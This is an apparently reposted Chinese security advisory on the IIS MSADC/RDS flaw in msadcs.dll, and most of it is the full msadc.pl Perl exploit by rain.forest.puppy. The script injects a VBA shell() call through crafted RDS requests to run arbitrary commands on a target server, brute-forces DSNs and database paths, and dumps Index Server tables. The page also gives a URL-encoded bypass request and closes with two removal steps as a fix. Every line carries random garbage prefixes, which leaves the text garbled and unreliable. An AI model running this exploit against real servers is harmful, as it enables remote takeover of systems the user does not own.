IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9Bi{X_.9 ^gY3))2_ 涉及程序:
u%AyW Microsoft NT server
sJ7ZE-v]h Qn`Fq,uvL 描述:
v|wO qS 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.NT9dX -$o4WSd~ 详细:
5?-@}PL!Y 如果你没有时间读详细内容的话,就删除:
{xCqz0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
G'(8/os{ 有关的安全问题就没有了。
n0opb [ ? 0l2@3}e 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
fu{.Ir ~c${?uf 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{J]x81}*; 关于利用ODBC远程漏洞的描述,请参看:
7(B"3qF8| N.?)s.D( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hi^t zpy e#s-MK-Q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Bb*P);#.K http://www.microsoft.com/security/bulletins/MS99-025faq.asp $m;DwlM b>f{o_ 这里不再论述。
ok(dCAKP Y1 *8&xT 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Mc<O ~ ^'Qe.DW[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
52q<|MW% 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
D0LoT?$N tlcNGPa eY8rm #将下面这段保存为txt文件,然后: "perl -x 文件名"
d< b ,]. */y (~O6 #!perl
.a7!*I#g #
j S<."a/n # MSADC/RDS 'usage' (aka exploit) script
WbGN
5?9Q #
@q+X:K5b # by rain.forest.puppy
1[ 40\ sM #
PEPf=sm # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
v-!^a_3Ui # beta test and find errors!
Og<nnq A_2oQ* use Socket; use Getopt::Std;
L<Q>:U.@\ getopts("e:vd:h:XR", \%args);
)GR4U8<>g TcOmBKps' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@y(<4kLz CC,CKb if (!defined $args{h} && !defined $args{R}) {
DgODTxiX print qq~
N~+ e\K6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
< m/@_" -h <host> = host you want to scan (ip or domain)
10{zF_9yx -d <seconds> = delay between calls, default 1 second
)=%TIkeF -X = dump Index Server path table, if available
:Hq#co -v = verbose
Ih^ziDcW -e = external dictionary file for step 5
Q<T+t0G\O- Uq^-km#a Or a -R will resume a command session
L'r gCOJ< UB,:won ~; exit;}
a}[ 1*_G @k3xk1* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
T[ltOQw?Y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
PAS0 D
# if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
u_jhmKr~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4#lOAzDtv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4}Dfi5:
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
pFcCe
'd" DLd1Cl:"~: if (!defined $args{R}){ $ret = &has_msadc;
n
'E:uXv" die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+MyXIWmD # "!q_@b,D print "Please type the NT commandline you want to run (cmd /c assumed):\n"
m*~Iu<5L . "cmd /c ";
&%r<_1 $in=<STDIN>; chomp $in;
]? %*3I $command="cmd /c " . $in ;
]?lUe5F rObg:(z&\ if (defined $args{R}) {&load; exit;}
qaiR329fx >o )v print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
dzs(sM= &try_btcustmr;
#H.DnW A^vvw~!d print "\nStep 2: Trying to make our own DSN...";
T&+y~c[au &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
36UUt!}p U5yBU9\G print "\nStep 3: Trying known DSNs...";
EGxCNB &known_dsn;
bE6bx6=u 9y?)Ga print "\nStep 4: Trying known .mdbs...";
odhcU5 &known_mdb;
wf2v9.;X:< &NH[b1NMr if (defined $args{e}){
u#nM_UJe print "\nStep 5: Trying dictionary of DSN names...";
uUJH^pW &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/Suh&qw>
nR8r$2B+t print "Sorry Charley...maybe next time?\n";
\k.W
F|~ exit;
"ifv1KZ# C9^C4
##############################################################################
_*fOn@Vwo >>%E?'9A sub sendraw { # ripped and modded from whisker
3gs!ojG sleep($delay); # it's a DoS on the server! At least on mine...
#83pitcc my ($pstr)=@_;
q!AcMd\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
p mUG`8SY die("Socket problems\n");
vbEO pYCS if(connect(S,pack "SnA4x8",2,80,$target)){
T!Nv select(S); $|=1;
jJyS^*.X print $pstr; my @in=<S>;
)8%m|v#W select(STDOUT); close(S);
nd~O*-uYg return @in;
/wU4^8Hz } else { die("Can't connect...\n"); }}
M`p[ Zq w\y) ##############################################################################
<op|yh3Jkk w7Ij=!) sub make_header { # make the HTTP request
11?d,6Jl my $msadc=<<EOT
#oJ%i+V POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=[LUOOR*] User-Agent: ACTIVEDATA
8 `}I] Host: $ip
Ru@ { b` Content-Length: $clen
-8Hv3J'= Connection: Keep-Alive
n!&F%|o^^ z!aU85y ADCClientVersion:01.06
nrKir Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
+g&M@8XO& Vp1Ff --!ADM!ROX!YOUR!WORLD!
s'/ZtH6>C Content-Type: application/x-varg
cYz|Ux Content-Length: $reqlen
yq12"Rs ET;-'vd EOT
''H;/&nDX ; $msadc=~s/\n/\r\n/g;
t5k=ngA return $msadc;}
eI1C0Uz1
?g4S51zpp ##############################################################################
l7#2
e ORm 5xhYOwQBo sub make_req { # make the RDS request
R5=M{ my ($switch, $p1, $p2)=@_;
6"yIk4u: my $req=""; my $t1, $t2, $query, $dsn;
Y2$xlqQd" $S/EIN c if ($switch==1){ # this is the btcustmr.mdb query
ZuT5}XxF $query="Select * from Customers where City=" . make_shell();
1F R $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
#|K5ma $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|O{kv}YZ xE-
_Fv9 elsif ($switch==2){ # this is general make table query
'?1g_C QsS $query="create table AZZ (B int, C varchar(10))";
$0*D7P^8 $dsn="$p1";}
/_r` A e \. elsif ($switch==3){ # this is general exploit table query
r*UE>_3J $query="select * from AZZ where C=" . make_shell();
`t>:i!s/ $dsn="$p1";}
RG:_:%@%} #6@4c5{2=4 elsif ($switch==4){ # attempt to hork file info from index server
\G2PK&)F $query="select path from scope()";
K"8! $dsn="Provider=MSIDXS;";}
>
1=]. t'[`"pp= elsif ($switch==5){ # bad query
~z'Y(qG $query="select";
H`
h]y $dsn="$p1";}
h/]));p dg#w!etB $t1= make_unicode($query);
S3^(L $t2= make_unicode($dsn);
|LirjC4 $req = "\x02\x00\x03\x00";
<=%=,Yk $req.= "\x08\x00" . pack ("S1", length($t1));
?%*p!m $req.= "\x00\x00" . $t1 ;
:kvQ3E0 $req.= "\x08\x00" . pack ("S1", length($t2));
(w` j?c1 $req.= "\x00\x00" . $t2 ;
[I,s: mn $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
DDe`Lb%% return $req;}
Rbcu5.6 H@'u$qr$: ##############################################################################
~:99
)AOM Bh;N:{&^Eu sub make_shell { # this makes the shell() statement
{bNVNG^ return "'|shell(\"$command\")|'";}
}(!3)k7* h059 DiH ##############################################################################
|xrnLdng0R \lF-]vz* sub make_unicode { # quick little function to convert to unicode
Bw>)gSB5$k my ($in)=@_; my $out;
?8YbTn1f) for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ijmGk:L( return $out;}
_|7bpt9 mXI'=Vo!S ##############################################################################
\hP.Q;"MtO 2FQTu*p&B sub rdo_success { # checks for RDO return success (this is kludge)
>aT~G!y my (@in) = @_; my $base=content_start(@in);
JZ/T:Hsh4 if($in[$base]=~/multipart\/mixed/){
*fI\|%K return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B? 9"Ztb return 0;}
u<EPK*O* L=&}s[5 ##############################################################################
; jrmr`l= n&8SB'-r sub make_dsn { # this makes a DSN for us
!:a^f2^= my @drives=("c","d","e","f");
m2[J5n?zLL print "\nMaking DSN: ";
JvYs6u foreach $drive (@drives) {
gnlU print "$drive: ";
;&XC*R+ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
i<*W,D6
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
meZZQ:eSl . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c9Q _Qr0' $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.gY=<bG/fA return 0 if $2 eq "404"; # not found/doesn't exist
2:&L|; if($2 eq "200") {
xXCsJ9] foreach $line (@results) {
d'[q2y?6N return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z\>ZgRi~n } return 0;}
Gm=e;X;r \lK ` ##############################################################################
G,6 i!M /]2I%Q sub verify_exists {
tc{Qd&"( my ($page)=@_;
ut.tf \c my @results=sendraw("GET $page HTTP/1.0\n\n");
mp8Zb&Ggb return $results[0];}
~R~eQ=8 ]3uj~la ##############################################################################
$`<-;kI !*o{xq sub try_btcustmr {
{}P~nP my @drives=("c","d","e","f");
w`[`:H_z my @dirs=("winnt","winnt35","winnt351","win","windows");
5Q,j+ 9>;CvR foreach $dir (@dirs) {
&t}6sD9o print "$dir -> "; # fun status so you can see progress
"p[3^<~uQ foreach $drive (@drives) {
Y)7\h:LIg print "$drive: "; # ditto
I2z6iT4nB $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$?uLFD $reqlenlen=length( "$reqlen" );
oG
c9
6B% $clen= 206 + $reqlenlen + $reqlen;
"Rn@yZV UQjYWXvi my @results=sendraw(make_header() . make_req(1,$drive,$dir));
pW_mS| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*A0*.>@N else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
`E|>K\ b{;LbHq+G ##############################################################################
$Km~x x M{SFF sub odbc_error {
7{38g my (@in)=@_; my $base;
K;]Dh? my $base = content_start(@in);
9&{HD if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
PNH>LT^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M6y|;lh''c $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#v*3-) 8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dv?t;D@p! return $in[$base+4].$in[$base+5].$in[$base+6];}
}>_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
l7U<]i GL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ps33& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Aa^w{D 0@&/W-VXg ##############################################################################
*vT Abk$ ,m M7g sub verbose {
<DhuY/o my ($in)=@_;
2\CZ"a#[ return if !$verbose;
]PB95% print STDOUT "\n$in\n";}
S$/SFB$)~W 60l!3o"p! ##############################################################################
MHS|gR.c dRUmC H sub save {
HahA} Q my ($p1, $p2, $p3, $p4)=@_;
!w/]V{9`X open(OUT, ">rds.save") || print "Problem saving parameters...\n";
=69sWcC8 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@XVx{t;g2 close OUT;}
?O0,)hro %yK- Q,'O ##############################################################################
\W|ymV_Ki \/9 O5`u*V sub load {
.Dy2O*` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r9p ((ir open(IN,"<rds.save") || die("Couldn't open rds.save\n");
I_|W'%N] @p=<IN>; close(IN);
&_' evZ8 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
V!s#xXD } $target= inet_aton($ip) || die("inet_aton problems");
n>,? V3ly print "Resuming to $ip ...";
f/{ClP. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
f'Rq#b@ if($p[1]==1) {
CIz_v.&: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
&UAYYH $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
HcpAp]L) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
$5@[l5cJU; if (rdo_success(@results)){print "Success!\n";}
]ClqX;'weJ else { print "failed\n"; verbose(odbc_error(@results));}}
y2nT)nL elsif ($p[1]==3){
eWXR #g!%> if(run_query("$p[3]")){
Wr+1e1[ print "Success!\n";} else { print "failed\n"; }}
RtEx
WTc elsif ($p[1]==4){
Q1!+wC if(run_query($drvst . "$p[3]")){
L;=LAQ6[ print "Success!\n"; } else { print "failed\n"; }}
4^!%>V"d/ exit;}
|#Q0UM|'Q EmyE%$*T ##############################################################################
1w+)ne_& Wr8}=\/ sub create_table {
KK4rVb:- my ($in)=@_;
[B j\h7G $reqlen=length( make_req(2,$in,"") ) - 28;
w8F`RRHEE $reqlenlen=length( "$reqlen" );
'fZ\uMdTx $clen= 206 + $reqlenlen + $reqlen;
hJ?PV@xy my @results=sendraw(make_header() . make_req(2,$in,""));
XE#$|Z return 1 if rdo_success(@results);
ycf)*0k my $temp= odbc_error(@results); verbose($temp);
2B+qS'OT return 1 if $temp=~/Table 'AZZ' already exists/;
T%E/k#
)q return 0;}
9Z DbZc :bkmm,%O ##############################################################################
-X-sykDm J^zB5W,) sub known_dsn {
M]xfH * # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
z~/e\ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
.>2]m[53 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
xF*i+'2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
xrkR)~ E +5GPU 9k foreach $dSn (@dsns) {
xdMY2u print ".";
z7pw~Tqlz next if (!is_access("DSN=$dSn"));
eKRE1DK if(create_table("DSN=$dSn")){
biRkqc; print "$dSn successful\n";
ADA}_|O if(run_query("DSN=$dSn")){
W9S6
SO^\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.u]d5z
BR print "Something's borked. Use verbose next time\n";}}} print "\n";}
v=DC3oh- Q~` {^fo1 ##############################################################################
P!lfk:M^; T>,[V: sub is_access {
S$46YQ my ($in)=@_;
PgsG*5WQ $reqlen=length( make_req(5,$in,"") ) - 28;
2_TFc2d $reqlenlen=length( "$reqlen" );
H!|g?"C $clen= 206 + $reqlenlen + $reqlen;
aJ[|80U my @results=sendraw(make_header() . make_req(5,$in,""));
KfQ?b_H. my $temp= odbc_error(@results);
pDcGf7 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
spWo{ return 0;}
}-
wK ~VV $wU!A ##############################################################################
HrUE?Sq BadnL<cj] sub run_query {
BN6cu9a my ($in)=@_;
EtQ:x$S_ $reqlen=length( make_req(3,$in,"") ) - 28;
24\^{3nOK $reqlenlen=length( "$reqlen" );
cI-@nV $clen= 206 + $reqlenlen + $reqlen;
1!
5VWF0 my @results=sendraw(make_header() . make_req(3,$in,""));
#VsS C1 return 1 if rdo_success(@results);
1/%5pb2\ my $temp= odbc_error(@results); verbose($temp);
onm"7JsO' return 0;}
Ql"~ z^L *a-KQw
##############################################################################
%q6I- v`U;.W sub known_mdb {
>` u8( my @drives=("c","d","e","f","g");
0qW"b`9R my @dirs=("winnt","winnt35","winnt351","win","windows");
,o}CBB! k my $dir, $drive, $mdb;
AuY*x;~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\uZ1Sl EXR6Vb, # this is sparse, because I don't know of many
a3,A_M}M' my @sysmdbs=( "\\catroot\\icatalog.mdb",
Hk$do`H-=Y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
UK)wV "\\system32\\certmdb.mdb",
Uy?X-"UR "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
55=YM'5] &w:0ad| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
3mL(xpT.8z "\\cfusion\\cfapps\\forums\\forums_.mdb",
lHE \Z` "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
R0K{wY58 "\\cfusion\\cfapps\\security\\realm_.mdb",
AEUR`. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
O^_CqT% "\\cfusion\\database\\cfexamples.mdb",
j} w "\\cfusion\\database\\cfsnippets.mdb",
[MD"JW?4B "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
AqHGBH0 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
w*X(bua@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
*n EG<Y) "\\cfusion\\database\\smpolicy.mdb",
Y Azj>c& "\\cfusion\\database\cypress.mdb",
^2i$AM1t "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7cO1(yE#vr "\\website\\cgi-win\\dbsample.mdb",
{7`1m!R "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;D@ F "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
+jO#?J ); #these are just
(0Jr<16si$ foreach $drive (@drives) {
Pfd%[C/vdm foreach $dir (@dirs){
fS p foreach $mdb (@sysmdbs) {
2>f3nW print ".";
xpI8QV$# if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
qHPinxewx print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(3=bKcD' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
I1JL`\;4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=L`PP>"rW } else { print "Something's borked. Use verbose next time\n"; }}}}}
5UX- Qqr Tq?f5swsI
foreach $drive (@drives) {
mRN[lj foreach $mdb (@mdbs) {
tg<bVA)E'J print ".";
\\C!{}+ if(create_table($drv . $drive . $dir . $mdb)){
U*XdFH}vV print "\n" . $drive . $dir . $mdb . " successful\n";
<[=[|DS l if(run_query($drv . $drive . $dir . $mdb)){
8C*xrg#g: print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
sXYXBX[ } else { print "Something's borked. Use verbose next time\n"; }}}}
5C9
.h:c4y }
rS+ >oP} olm'_{{
##############################################################################
ZgmK~iJ {fY(zHC sub hork_idx {
>y$*|V}k print "\nAttempting to dump Index Server tables...\n";
=E:sEw2j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
D;OPsNQ $reqlen=length( make_req(4,"","") ) - 28;
{mLv?"M] $reqlenlen=length( "$reqlen" );
.(s@{= $clen= 206 + $reqlenlen + $reqlen;
i_nUyH%b my @results=sendraw2(make_header() . make_req(4,"",""));
bNHsjx@ if (rdo_success(@results)){
TQOJN my $max=@results; my $c; my %d;
v!=e]w6{ for($c=19; $c<$max; $c++){
Z1p%6f` $results[$c]=~s/\x00//g;
w9Nk8OsL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&SPIu, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
M
#%V%< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
e~nh95 $d{"$1$2"}="";}
I<"UQ\) foreach $c (keys %d){ print "$c\n"; }
iZ0(a } else {print "Index server doesn't seem to be installed.\n"; }}
:Ye~I;"8 rEWuWv$ ##############################################################################
"$q"Kilj% ob/HO(h3 sub dsn_dict {
oWggh3eXk open(IN, "<$args{e}") || die("Can't open external dictionary\n");
dvglh?7d while(<IN>){
!:~C/B{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
waG &3m next if (!is_access("DSN=$dSn"));
DLO#_t^v. if(create_table("DSN=$dSn")){
fT=ZiHJ3Gu print "$dSn successful\n";
>b~Q%{1 if(run_query("DSN=$dSn")){
!Nbi&^k B print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`.wgRUhFH; print "Something's borked. Use verbose next time\n";}}}
w1
A-_ print "\n"; close(IN);}
;a[3RqmKW 1yeD-M"w ##############################################################################
Djf~8q V! "V,dH%&j sub sendraw2 { # ripped and modded from whisker
@JOsG-VW~ sleep($delay); # it's a DoS on the server! At least on mine...
)}k"7" my ($pstr)=@_;
@[1,i~H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9QkssI die("Socket problems\n");
6!){-IV if(connect(S,pack "SnA4x8",2,80,$target)){
J+`gr_& print "Connected. Getting data";
TC
;Aj|)N open(OUT,">raw.out"); my @in;
[7[$P.MS{ select(S); $|=1; print $pstr;
]ed7Q3lq while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[?da BXS close(OUT); select(STDOUT); close(S); return @in;
v'Up& /( } else { die("Can't connect...\n"); }}
X*e:MRw[
)
urUaE ##############################################################################
:]* =f]. o+\?E.%%g sub content_start { # this will take in the server headers
9~ifST\ my (@in)=@_; my $c;
W7 +Q&4Y for ($c=1;$c<500;$c++) {
Z#K0a' if($in[$c] =~/^\x0d\x0a/){
Mi`t$hmP if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
_HAr0R8BY else { return $c+1; }}}
ke'OT>8 return -1;} # it should never get here actually
}-vP~I ^SS9BQ*m ##############################################################################
^(:n a6C j>~@vq sub funky {
!DKl:8mx4 my (@in)=@_; my $error=odbc_error(@in);
K81&BVx/ if($error=~/ADO could not find the specified provider/){
+ Cq&~<B print "\nServer returned an ADO miscofiguration message\nAborting.\n";
8
;=?Lw? exit;}
_$v$v$74^ if($error=~/A Handler is required/){
DyQvk print "\nServer has custom handler filters (they most likely are patched)\n";
1z3I^gI*i exit;}
l_(4CimOZ if($error=~/specified Handler has denied Access/){
|D8c=c% print "\nServer has custom handler filters (they most likely are patched)\n";
g$8aB{) exit;}}
"azrcC "||G`%aO+t ##############################################################################
Z3iX^ ;;LiZlf sub has_msadc {
aQ)g7C my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~>}7+p
?; my $base=content_start(@results);
Ll^9,G"Tt return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<a2Kc ' return 0;}
PU\@^)$ Ki3wqY ########################
O[^zQA MO79FNH2\ %5<t3H" 解决方案:
2f9%HX(5 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&oDu$%dkT 2、移除web 目录: /msadc